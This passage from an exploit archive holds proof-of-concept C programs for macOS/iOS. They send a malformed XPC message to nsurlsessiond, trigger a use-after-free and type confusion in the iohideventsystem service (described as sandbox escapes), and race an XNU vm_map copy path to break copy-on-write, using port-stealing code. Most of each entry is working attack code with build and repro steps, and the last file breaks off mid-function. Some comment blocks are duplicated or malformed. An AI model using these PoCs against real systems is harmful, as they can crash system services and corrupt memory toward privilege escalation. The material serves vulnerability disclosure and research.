void bad_xpc(mach_port_t p) {
|
||||
kern_return_t err;
|
||||
struct xpc_bad_ool msg = {0};
|
||||
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
msg.hdr.msgh_remote_port = p;
|
||||
msg.hdr.msgh_id = 0x10000000;
|
||||
|
||||
msg.body.msgh_descriptor_count = 0;
|
||||
|
||||
msg.ool0.address = 0x414141414141;
|
||||
msg.ool0.size = 0x4000;
|
||||
msg.ool0.type = MACH_MSG_OOL_DESCRIPTOR;
|
||||
|
||||
msg.port1.name = 0x41414141; // port name to mach_port_deallocate in target
|
||||
msg.port1.disposition = 0x11;
|
||||
msg.port1.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
msg.ool2.address = 0x414141414141;
|
||||
msg.ool2.size = 0x4000;
|
||||
msg.ool2.type = MACH_MSG_OOL_DESCRIPTOR;
|
||||
|
||||
|
||||
err = mach_msg(&msg.hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg.hdr.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("xpc message send failed: %s\n", mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
} else {
|
||||
printf("sent xpc message\n");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// lookup a launchd service:
|
||||
static mach_port_t
|
||||
lookup(
|
||||
char* name)
|
||||
{
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
|
||||
if(err != KERN_SUCCESS){
|
||||
printf("unable to look up %s\n", name);
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
if (service_port == MACH_PORT_NULL) {
|
||||
printf("bad service port\n");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
return service_port;
|
||||
}
|
||||
|
||||
void
|
||||
xpc_connect(
|
||||
char* service_name,
|
||||
mach_port_t* xpc_client_port,
|
||||
mach_port_t* xpc_reply_port)
|
||||
{
|
||||
mach_port_t service_port = lookup(service_name);
|
||||
xpc_checkin(service_port, xpc_client_port, xpc_reply_port);
|
||||
mach_port_destroy(mach_task_self(), service_port);
|
||||
}
|
||||
|
||||
int main() {
|
||||
mach_port_t service_port = lookup("com.apple.nsurlsessiond");
|
||||
|
||||
mach_port_t xpc_client_port = MACH_PORT_NULL;
|
||||
mach_port_t xpc_reply_port = MACH_PORT_NULL;
|
||||
|
||||
xpc_checkin(service_port, &xpc_client_port, &xpc_reply_port);
|
||||
printf("xpc_client_port: %x\n", xpc_client_port);
|
||||
printf("checked in?\n");
|
||||
|
||||
bad_xpc(xpc_client_port);
|
||||
|
||||
return 0;
|
||||
}
|
162
exploits/multiple/dos/46298.c
Normal file
162
exploits/multiple/dos/46298.c
Normal file
|
@ -0,0 +1,162 @@
|
|||
/*
|
||||
It's possible that this should be two separate issues but I'm filing it as one as I'm still understanding
|
||||
this service.
|
||||
|
||||
com.apple.iohideventsystem is hosted in hidd on MacOS and backboardd on iOS. You can talk to it from the app
|
||||
sandbox on iOS.
|
||||
|
||||
It uses an IOMIGMachPortCache to translate between ports on which messages were received and CF objects
|
||||
on which actions should be performed. There is insufficient checking that the types are correct; so far as
|
||||
I can tell all the io_hideventsystem_* methods apart from io_hideventsystem_open expect to be called on
|
||||
a "connection" port, but that's not enforced. Specifically, the service port is put in the cache mapped to
|
||||
an IOHIDEventServer object, and each connection is put in mapped to IOHIDEventSystemConnection objects. Note that
|
||||
the service IOMIG port can demux the whole hideventsystem service (all the methods.) This seems to lead to a lot
|
||||
of type confusion issues (eg places where the code is trying to read a bitmap of entitlements possessed by the connection
|
||||
but is in fact reading out of bounds.)
|
||||
|
||||
There's also what looks like a regular memory safety issue in
|
||||
_io_hideventsystem_unregister_record_service_changed_notification.
|
||||
|
||||
This converts the port its called on to an object via IOMIGMachPortCacheCopy then passes that to
|
||||
_IOHIDEventSystemConnectionUnregisterRecordServiceChanged.
|
||||
|
||||
This reads an object pointer from +0x10, which for both an IOHIDEventServer and IOHIDEventSystemConnection is an IOHIDEventSystem,
|
||||
passes that to _IOHIDEventSystemUnregisterRecordServiceChanged and then calls CFRelease on it.
|
||||
|
||||
The problem is that this CFRelease call isn't balanced by a CFRetain, so each call to this just lets us arbitrarily drop references
|
||||
on that object...
|
||||
|
||||
The PoC for this issue is trivial, just connect to the service and call io_hideventsystem_unregister_record_service_changed_notification twice.
|
||||
|
||||
You should enable guard malloc for the service to more easily see what's going on.
|
||||
|
||||
Tested on MacOS 10.14.1 (18B75)
|
||||
|
||||
|
||||
// ianbeer
|
||||
// build: clang -o hidcrasher hidcrasher.c -framework IOKit
|
||||
// repro: enable guard malloc for hidd: sudo launchctl debug system/com.apple.hidd --guard-malloc
|
||||
// then either manually kill hidd or run the PoC twice so that the second time you can more clearly observe the UaF
|
||||
|
||||
#if 0
|
||||
iOS/MacOS Sandbox escapes due to type confusions and memory safety issues in iohideventsystem
|
||||
|
||||
It's possible that this should be two separate issues but I'm filing it as one as I'm still understanding
|
||||
this service.
|
||||
|
||||
com.apple.iohideventsystem is hosted in hidd on MacOS and backboardd on iOS. You can talk to it from the app
|
||||
sandbox on iOS.
|
||||
|
||||
It uses an IOMIGMachPortCache to translate between ports on which messages were received and CF objects
|
||||
on which actions should be performed. There is insufficient checking that the types are correct; so far as
|
||||
I can tell all the io_hideventsystem_* methods apart from io_hideventsystem_open expect to be called on
|
||||
a "connection" port, but that's not enforced. Specifically, the service port is put in the cache mapped to
|
||||
an IOHIDEventServer object, and each connection is put in mapped to IOHIDEventSystemConnection objects. Note that
|
||||
the service IOMIG port can demux the whole hideventsystem service (all the methods.) This seems to lead to a lot
|
||||
of type confusion issues (eg places where the code is trying to read a bitmap of entitlements possessed by the connection
|
||||
but is in fact reading out of bounds.)
|
||||
|
||||
There's also what looks like a regular memory safety issue in
|
||||
_io_hideventsystem_unregister_record_service_changed_notification.
|
||||
|
||||
This converts the port its called on to an object via IOMIGMachPortCacheCopy then passes that to
|
||||
_IOHIDEventSystemConnectionUnregisterRecordServiceChanged.
|
||||
|
||||
This reads an object pointer from +0x10, which for both an IOHIDEventServer and IOHIDEventSystemConnection is an IOHIDEventSystem,
|
||||
passes that to _IOHIDEventSystemUnregisterRecordServiceChanged and then calls CFRelease on it.
|
||||
|
||||
The problem is that this CFRelease call isn't balanced by a CFRetain, so each call to this just lets us arbitrarily drop references
|
||||
on that object...
|
||||
|
||||
The PoC for this issue is trivial, just connect to the service and call io_hideventsystem_unregister_record_service_changed_notification twice.
|
||||
|
||||
You should enable guard malloc for the service to more easily see what's going on.
|
||||
|
||||
Tested on MacOS 10.14.1 (18B75)
|
||||
#endif
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
kern_return_t io_hideventsystem_unregister_record_service_changed_notification(
|
||||
mach_port_t service_connection);
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
kern_return_t err;
|
||||
|
||||
// connect to the com.apple.iohideventsystem service
|
||||
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port);
|
||||
if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) {
|
||||
printf("failed to lookup service\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("got service port: 0x%x\n", service_port);
|
||||
|
||||
for (int i = 0; i < 10; i++) {
|
||||
io_hideventsystem_unregister_record_service_changed_notification(service_port);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
*/
|
||||
|
||||
/ ianbeer
|
||||
// build: clang -o hid_typeconfusion hid_typeconfusion.c -framework IOKit -framework CoreFoundation
|
||||
// repro: enable guard malloc for hidd: sudo launchctl debug system/com.apple.hidd --guard-malloc
|
||||
// then kill hidd so it restarts with guard malloc enabled
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
kern_return_t io_hideventsystem_create_virtual_service(
|
||||
mach_port_t connection,
|
||||
void* desc,
|
||||
uint32_t desc_len,
|
||||
uint64_t* id_out);
|
||||
|
||||
extern uint32_t _IOHIDSerialize(CFTypeRef obj, mach_vm_address_t* out);
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
kern_return_t err;
|
||||
|
||||
/* connect to the com.apple.iohideventsystem service */
|
||||
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port);
|
||||
if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) {
|
||||
printf("failed to lookup service\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("got service port: 0x%x\n", service_port);
|
||||
|
||||
/* need a dictionary */
|
||||
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
CFDictionaryAddValue(dict, CFSTR("key"), CFSTR("value"));
|
||||
|
||||
mach_vm_address_t out_ptr = 0;
|
||||
uint32_t size = _IOHIDSerialize(dict, &out_ptr);
|
||||
|
||||
CFRelease(dict);
|
||||
|
||||
uint64_t id_out = 0;
|
||||
err = io_hideventsystem_create_virtual_service(service_port, (void*)out_ptr, size, &id_out);
|
||||
|
||||
return 0;
|
||||
}
|
704
exploits/multiple/dos/46299.c
Normal file
704
exploits/multiple/dos/46299.c
Normal file
|
@ -0,0 +1,704 @@
|
|||
/*
|
||||
vm_map_copyin_internal in vm_map.c converts a region of a vm_map into "copied in" form, constructing a vm_map_copy
|
||||
structure representing the copied memory which can then be mapped into another vm_map (or the same one.)
|
||||
|
||||
The function contains a while loop which walks through each of the vm_map_entry structures which make up the
|
||||
region to be copied and tries to append a "copy" of each in turn to a vm_map_copy structure.
|
||||
|
||||
Under certain circumstances the copy operation can be optimized, here's a code snippet describing one such optimization:
|
||||
|
||||
|
||||
// Attempt non-blocking copy-on-write optimizations.
|
||||
|
||||
|
||||
if (src_destroy &&
|
||||
(src_object == VM_OBJECT_NULL ||
|
||||
(src_object->internal &&
|
||||
src_object->copy_strategy == MEMORY_OBJECT_COPY_SYMMETRIC &&
|
||||
!map_share))) {
|
||||
/*
|
||||
* If we are destroying the source, and the object
|
||||
* is internal, we can move the object reference
|
||||
* from the source to the copy. The copy is
|
||||
* copy-on-write only if the source is.
|
||||
* We make another reference to the object, because
|
||||
* destroying the source entry will deallocate it.
|
||||
|
||||
vm_object_reference(src_object);
|
||||
|
||||
/*
|
||||
* Copy is always unwired. vm_map_copy_entry
|
||||
* set its wired count to zero.
|
||||
|
||||
|
||||
goto CopySuccessful;
|
||||
|
||||
|
||||
This optimization will apply if the vm_map_entry represents anonymous memory and the semantics of the copy
|
||||
will cause that memory to be deallocated from the source map. In this case, as the comment describes, we can just
|
||||
"move" the entry to the target map.
|
||||
|
||||
The issue is that this move is not performed atomically - the vm_map_entry which we want to move will only be removed
|
||||
from the source map after we have copied all the entries representing the region we want to copy and the while(true) loop
|
||||
is done:
|
||||
|
||||
} // end while(true)
|
||||
|
||||
/*
|
||||
* If the source should be destroyed, do it now, since the
|
||||
* copy was successful.
|
||||
|
||||
if (src_destroy) {
|
||||
(void) vm_map_delete(
|
||||
src_map,
|
||||
vm_map_trunc_page(src_addr,
|
||||
VM_MAP_PAGE_MASK(src_map)),
|
||||
src_end,
|
||||
((src_map == kernel_map) ?
|
||||
VM_MAP_REMOVE_KUNWIRE :
|
||||
VM_MAP_NO_FLAGS),
|
||||
VM_MAP_NULL);
|
||||
|
||||
|
||||
The cause of the lack of atomicity is two-fold:
|
||||
|
||||
Firstly: in the while loop the vm_map's lock gets dropped and retaken:
|
||||
|
||||
/*
|
||||
* Create a new address map entry to hold the result.
|
||||
* Fill in the fields from the appropriate source entries.
|
||||
* We must unlock the source map to do this if we need
|
||||
* to allocate a map entry.
|
||||
|
||||
if (new_entry == VM_MAP_ENTRY_NULL) {
|
||||
version.main_timestamp = src_map->timestamp;
|
||||
vm_map_unlock(src_map);
|
||||
|
||||
new_entry = vm_map_copy_entry_create(copy, !copy->cpy_hdr.entries_pageable);
|
||||
|
||||
vm_map_lock(src_map);
|
||||
if ((version.main_timestamp + 1) != src_map->timestamp) {
|
||||
if (!vm_map_lookup_entry(src_map, src_start,
|
||||
&tmp_entry)) {
|
||||
RETURN(KERN_INVALID_ADDRESS);
|
||||
}
|
||||
if (!tmp_entry->is_sub_map)
|
||||
vm_map_clip_start(src_map, tmp_entry, src_start);
|
||||
continue; /* restart w/ new tmp_entry
|
||||
}
|
||||
}
|
||||
|
||||
Here, each time they allocate a new entry structure they have to drop and retake the lock.
|
||||
Secondly: the check and bailout there aren't sufficient to ensure atomicity of the "entry move" optimization:
|
||||
|
||||
The check "if ((version.main_timestamp + 1) != src_map->timestamp) {" tries to detect whether another thread
|
||||
took the lock while we dropped it; if it did then they try to bailout and lookup the entry again.
|
||||
|
||||
The problem is that just checking whether there is still an entry covering the address we're currently trying to
|
||||
copy isn't sufficient, since the continue statement just goes back up to the start of the while loop. It doesn't
|
||||
invalidate all the entries we've already appended to the vm_map_copy, even though while we had dropped the lock
|
||||
another thread could have come in and also started an "optimized entry move" for the same entry that we're in the process
|
||||
of moving.
|
||||
|
||||
Note that this lock dropping and reacquiring pattern seems quite pervasive; this isn't the only place in the code where this
|
||||
happens; a proper fix for such issues will require some refactoring.
|
||||
|
||||
This PoC demonstrates the issue by sending two mach messages in parallel, one to ourselves and one to our parent process.
|
||||
|
||||
Those messages contain out-of-line regions built up of alternating memory object mappings and anonymous memory:
|
||||
|
||||
_ _ _ _ _ _ _ _ _ _ _ _
|
||||
<................../..> \
|
||||
< { > }
|
||||
< +---+---+---+---{--->---+---+---+---+---+ }
|
||||
< | A | O | A | O { A > O | A | O | A | O | }
|
||||
< +---+---+---+---{--->---+---+---+---+---+ }
|
||||
<.................{...> }
|
||||
^ \_ _ _ _ _ _ _ _ _ _ _ _/
|
||||
| ^
|
||||
OOL desc for msg_a |
|
||||
OOL desc for msg_b
|
||||
|
||||
|
||||
The two messages overlap by one anonymous memory entry, appearing at the end of msg_a and the start of msg_b. The locking issue
|
||||
means that if we win the race this entry will have the move optimization applied twice, leading to it appearing in two vm_map_copys.
|
||||
|
||||
If we then send one of those copies to another process and receive one ourselves we will retain the ability to write
|
||||
to the underlying page while the other process is reading it, without causing COW copies.
|
||||
|
||||
This violates the semantics of mach message OOL memory, and leads to TOCTOU issues which can lead to memory corruption.
|
||||
|
||||
PoC tested on MacOS 10.14.1 (18B75)
|
||||
*/
|
||||
|
||||
// @i41nbeer
|
||||
|
||||
// XNU vm_map_copy optimization which requires atomicity isn't atomic
|
||||
|
||||
#if 0
|
||||
vm_map_copyin_internal in vm_map.c converts a region of a vm_map into "copied in" form, constructing a vm_map_copy
|
||||
structure representing the copied memory which can then be mapped into another vm_map (or the same one.)
|
||||
|
||||
The function contains a while loop which walks through each of the vm_map_entry structures which make up the
|
||||
region to be copied and tries to append a "copy" of each in turn to a vm_map_copy structure.
|
||||
|
||||
Under certain circumstances the copy operation can be optimized, here's a code snippet describing one such optimization:
|
||||
|
||||
/*
|
||||
* Attempt non-blocking copy-on-write optimizations.
|
||||
*/
|
||||
|
||||
if (src_destroy &&
|
||||
(src_object == VM_OBJECT_NULL ||
|
||||
(src_object->internal &&
|
||||
src_object->copy_strategy == MEMORY_OBJECT_COPY_SYMMETRIC &&
|
||||
!map_share))) {
|
||||
/*
|
||||
* If we are destroying the source, and the object
|
||||
* is internal, we can move the object reference
|
||||
* from the source to the copy. The copy is
|
||||
* copy-on-write only if the source is.
|
||||
* We make another reference to the object, because
|
||||
* destroying the source entry will deallocate it.
|
||||
*/
|
||||
vm_object_reference(src_object);
|
||||
|
||||
/*
|
||||
* Copy is always unwired. vm_map_copy_entry
|
||||
* set its wired count to zero.
|
||||
*/
|
||||
|
||||
goto CopySuccessful;
|
||||
|
||||
|
||||
This optimization will apply if the vm_map_entry represents anonymous memory and the semantics of the copy
|
||||
will cause that memory to be deallocated from the source map. In this case, as the comment describes, we can just
|
||||
"move" the entry to the target map.
|
||||
|
||||
The issue is that this move is not performed atomically - the vm_map_entry which we want to move will only be removed
|
||||
from the source map after we have copied all the entries representing the region we want to copy and the while(true) loop
|
||||
is done:
|
||||
|
||||
} // end while(true)
|
||||
|
||||
/*
|
||||
* If the source should be destroyed, do it now, since the
|
||||
* copy was successful.
|
||||
*/
|
||||
if (src_destroy) {
|
||||
(void) vm_map_delete(
|
||||
src_map,
|
||||
vm_map_trunc_page(src_addr,
|
||||
VM_MAP_PAGE_MASK(src_map)),
|
||||
src_end,
|
||||
((src_map == kernel_map) ?
|
||||
VM_MAP_REMOVE_KUNWIRE :
|
||||
VM_MAP_NO_FLAGS),
|
||||
VM_MAP_NULL);
|
||||
|
||||
|
||||
The cause of the lack of atomicity is two-fold:
|
||||
|
||||
Firstly: in the while loop the vm_map's lock gets dropped and retaken:
|
||||
|
||||
/*
|
||||
* Create a new address map entry to hold the result.
|
||||
* Fill in the fields from the appropriate source entries.
|
||||
* We must unlock the source map to do this if we need
|
||||
* to allocate a map entry.
|
||||
*/
|
||||
if (new_entry == VM_MAP_ENTRY_NULL) {
|
||||
version.main_timestamp = src_map->timestamp;
|
||||
vm_map_unlock(src_map);
|
||||
|
||||
new_entry = vm_map_copy_entry_create(copy, !copy->cpy_hdr.entries_pageable);
|
||||
|
||||
vm_map_lock(src_map);
|
||||
if ((version.main_timestamp + 1) != src_map->timestamp) {
|
||||
if (!vm_map_lookup_entry(src_map, src_start,
|
||||
&tmp_entry)) {
|
||||
RETURN(KERN_INVALID_ADDRESS);
|
||||
}
|
||||
if (!tmp_entry->is_sub_map)
|
||||
vm_map_clip_start(src_map, tmp_entry, src_start);
|
||||
continue; /* restart w/ new tmp_entry */
|
||||
}
|
||||
}
|
||||
|
||||
Here, each time they allocate a new entry structure they have to drop and retake the lock.
|
||||
|
||||
Secondly: the check and bailout there aren't sufficient to ensure atomicity of the "entry move" optimization:
|
||||
|
||||
The check "if ((version.main_timestamp + 1) != src_map->timestamp) {" tries to detect whether another thread
|
||||
took the lock while we dropped it; if it did then they try to bailout and lookup the entry again.
|
||||
|
||||
The problem is that just checking whether there is still an entry covering the address we're currently trying to
|
||||
copy isn't sufficient, since the continue statement just goes back up to the start of the while loop. It doesn't
|
||||
invalidate all the entries we've already appended to the vm_map_copy, even though while we had dropped the lock
|
||||
another thread could have come in and also started an "optimized entry move" for the same entry that we're in the process
|
||||
of moving.
|
||||
|
||||
Note that this lock dropping and reacquiring pattern seems quite pervasive; this isn't the only place in the code where this
|
||||
happens; a proper fix for such issues will require some refactoring.
|
||||
|
||||
This PoC demonstrates the issue by sending two mach messages in parallel, one to ourselves and one to our parent process.
|
||||
|
||||
Those messages contain out-of-line regions built up of alternating memory object mappings and anonymous memory:
|
||||
|
||||
_ _ _ _ _ _ _ _ _ _ _ _
|
||||
<................../..> \
|
||||
< { > }
|
||||
< +---+---+---+---{--->---+---+---+---+---+ }
|
||||
< | A | O | A | O { A > O | A | O | A | O | }
|
||||
< +---+---+---+---{--->---+---+---+---+---+ }
|
||||
<.................{...> }
|
||||
^ \_ _ _ _ _ _ _ _ _ _ _ _/
|
||||
| ^
|
||||
OOL desc for msg_a |
|
||||
OOL desc for msg_b
|
||||
|
||||
|
||||
The two messages overlap by one anonymous memory entry, appearing at the end of msg_a and the start of msg_b. The locking issue
|
||||
means that if we win the race this entry will have the move optimization applied twice, leading to it appearing in two vm_map_copys.
|
||||
|
||||
If we then send one of those copies to another process and receive one ourselves we will retain the ability to write
|
||||
to the underlying page while the other process is reading it, without causing COW copies.
|
||||
|
||||
This violates the semantics of mach message OOL memory, and leads to TOCTOU issues which can lead to memory corruption.
|
||||
|
||||
PoC tested on MacOS 10.14.1 (18B75)
|
||||
|
||||
#endif
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include <libkern/OSAtomic.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/task.h>
|
||||
#include <mach/task_special_ports.h>
|
||||
|
||||
#define MACH_ERR(str, err) do { \
|
||||
if (err != KERN_SUCCESS) { \
|
||||
mach_error("[-]" str "\n", err); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} \
|
||||
} while(0)
|
||||
|
||||
#define FAIL(str) do { \
|
||||
printf("[-] " str "\n"); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
#define LOG(str) do { \
|
||||
printf("[+] " str"\n"); \
|
||||
} while (0)
|
||||
|
||||
/***************
|
||||
* port dancer *
|
||||
***************/
|
||||
|
||||
// set up a shared mach port pair from a child process back to its parent without using launchd
|
||||
// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html
|
||||
|
||||
// mach message for sending a port right
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t port;
|
||||
} port_msg_send_t;
|
||||
|
||||
// mach message for receiving a port right
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t port;
|
||||
mach_msg_trailer_t trailer;
|
||||
} port_msg_rcv_t;
|
||||
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
} simple_msg_send_t;
|
||||
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_trailer_t trailer;
|
||||
} simple_msg_rcv_t;
|
||||
|
||||
#define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT
|
||||
|
||||
// a copy in the parent of the stolen special port such that it can be restored
|
||||
mach_port_t saved_special_port = MACH_PORT_NULL;
|
||||
|
||||
// the shared port right in the parent
|
||||
mach_port_t shared_port_parent = MACH_PORT_NULL;
|
||||
|
||||
void setup_shared_port() {
|
||||
kern_return_t err;
|
||||
// get a send right to the port we're going to overwrite so that we can both
|
||||
// restore it for ourselves and send it to our child
|
||||
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port);
|
||||
MACH_ERR("saving original special port value", err);
|
||||
|
||||
// allocate the shared port we want our child to have a send right to
|
||||
err = mach_port_allocate(mach_task_self(),
|
||||
MACH_PORT_RIGHT_RECEIVE,
|
||||
&shared_port_parent);
|
||||
|
||||
MACH_ERR("allocating shared port", err);
|
||||
|
||||
// insert the send right
|
||||
err = mach_port_insert_right(mach_task_self(),
|
||||
shared_port_parent,
|
||||
shared_port_parent,
|
||||
MACH_MSG_TYPE_MAKE_SEND);
|
||||
MACH_ERR("inserting MAKE_SEND into shared port", err);
|
||||
|
||||
// stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork
|
||||
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent);
|
||||
MACH_ERR("setting special port", err);
|
||||
}
|
||||
|
||||
mach_port_t recover_shared_port_child() {
|
||||
kern_return_t err;
|
||||
|
||||
// grab the shared port which our parent stashed somewhere in the special ports
|
||||
mach_port_t shared_port_child = MACH_PORT_NULL;
|
||||
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child);
|
||||
MACH_ERR("child getting stashed port", err);
|
||||
|
||||
LOG("child got stashed port");
|
||||
|
||||
// say hello to our parent and send a reply port so it can send us back the special port to restore
|
||||
|
||||
// allocate a reply port
|
||||
mach_port_t reply_port;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
MACH_ERR("child allocating reply port", err);
|
||||
|
||||
// send the reply port in a hello message
|
||||
simple_msg_send_t msg = {0};
|
||||
|
||||
msg.header.msgh_size = sizeof(msg);
|
||||
msg.header.msgh_local_port = reply_port;
|
||||
msg.header.msgh_remote_port = shared_port_child;
|
||||
|
||||
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
|
||||
|
||||
err = mach_msg_send(&msg.header);
|
||||
MACH_ERR("child sending task port message", err);
|
||||
|
||||
LOG("child sent hello message to parent over shared port");
|
||||
|
||||
// wait for a message on the reply port containing the stolen port to restore
|
||||
port_msg_rcv_t stolen_port_msg = {0};
|
||||
err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
MACH_ERR("child receiving stolen port\n", err);
|
||||
|
||||
// extract the port right from the message
|
||||
mach_port_t stolen_port_to_restore = stolen_port_msg.port.name;
|
||||
if (stolen_port_to_restore == MACH_PORT_NULL) {
|
||||
FAIL("child received invalid stolen port to restore");
|
||||
}
|
||||
|
||||
// restore the special port for the child
|
||||
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore);
|
||||
MACH_ERR("child restoring special port", err);
|
||||
|
||||
LOG("child restored stolen port");
|
||||
return shared_port_child;
|
||||
}
|
||||
|
||||
mach_port_t recover_shared_port_parent() {
|
||||
kern_return_t err;
|
||||
|
||||
// restore the special port for ourselves
|
||||
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port);
|
||||
MACH_ERR("parent restoring special port", err);
|
||||
|
||||
// wait for a message from the child on the shared port
|
||||
simple_msg_rcv_t msg = {0};
|
||||
err = mach_msg(&msg.header,
|
||||
MACH_RCV_MSG,
|
||||
0,
|
||||
sizeof(msg),
|
||||
shared_port_parent,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
MACH_ERR("parent receiving child hello message", err);
|
||||
|
||||
LOG("parent received hello message from child");
|
||||
|
||||
// send the special port to our child over the hello message's reply port
|
||||
port_msg_send_t special_port_msg = {0};
|
||||
|
||||
special_port_msg.header.msgh_size = sizeof(special_port_msg);
|
||||
special_port_msg.header.msgh_local_port = MACH_PORT_NULL;
|
||||
special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port;
|
||||
special_port_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX;
|
||||
special_port_msg.body.msgh_descriptor_count = 1;
|
||||
|
||||
special_port_msg.port.name = saved_special_port;
|
||||
special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
special_port_msg.port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg_send(&special_port_msg.header);
|
||||
MACH_ERR("parent sending special port back to child", err);
|
||||
|
||||
return shared_port_parent;
|
||||
}
|
||||
|
||||
/*** end of port dancer code ***/
|
||||
|
||||
#define UNIT_SIZE 0x8000
|
||||
|
||||
struct send_msg {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_descriptor_t desc;
|
||||
};
|
||||
|
||||
struct rcv_msg {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_descriptor_t desc;
|
||||
mach_msg_trailer_t trailer;
|
||||
};
|
||||
|
||||
volatile int lock_a;
|
||||
volatile int lock_b;
|
||||
|
||||
void* thread_func(void* arg) {
|
||||
lock_a = 1;
|
||||
while(lock_b == 0) {;}
|
||||
kern_return_t err = mach_msg_send((mach_msg_header_t*)arg);
|
||||
return (void*) err;
|
||||
}
|
||||
|
||||
|
||||
void do_child(mach_port_t shared_port) {
|
||||
uint32_t n_pairs = 32;
|
||||
uint32_t offset = 8;
|
||||
// allocate a memory object which we can use for the alternating object entries:
|
||||
memory_object_size_t obj_size = n_pairs * UNIT_SIZE;
|
||||
|
||||
printf("allocating 0x%llx byte memory entry for alternating entries\n", obj_size);
|
||||
|
||||
void* obj_buf = NULL;
|
||||
kern_return_t err = mach_vm_allocate(mach_task_self(),
|
||||
(mach_vm_address_t*)&obj_buf,
|
||||
obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
|
||||
memset(obj_buf, 'A', obj_size);
|
||||
|
||||
mach_port_t mem_port = MACH_PORT_NULL;
|
||||
err = mach_make_memory_entry_64(mach_task_self(),
|
||||
(memory_object_size_t*)&obj_size,
|
||||
(memory_object_offset_t)obj_buf,
|
||||
VM_PROT_DEFAULT,
|
||||
&mem_port,
|
||||
MACH_PORT_NULL);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("failed to make memory entry\n");
|
||||
return;
|
||||
}
|
||||
|
||||
mach_vm_address_t target_buffer_base = 0x414100000000;
|
||||
mach_vm_address_t addr = target_buffer_base;
|
||||
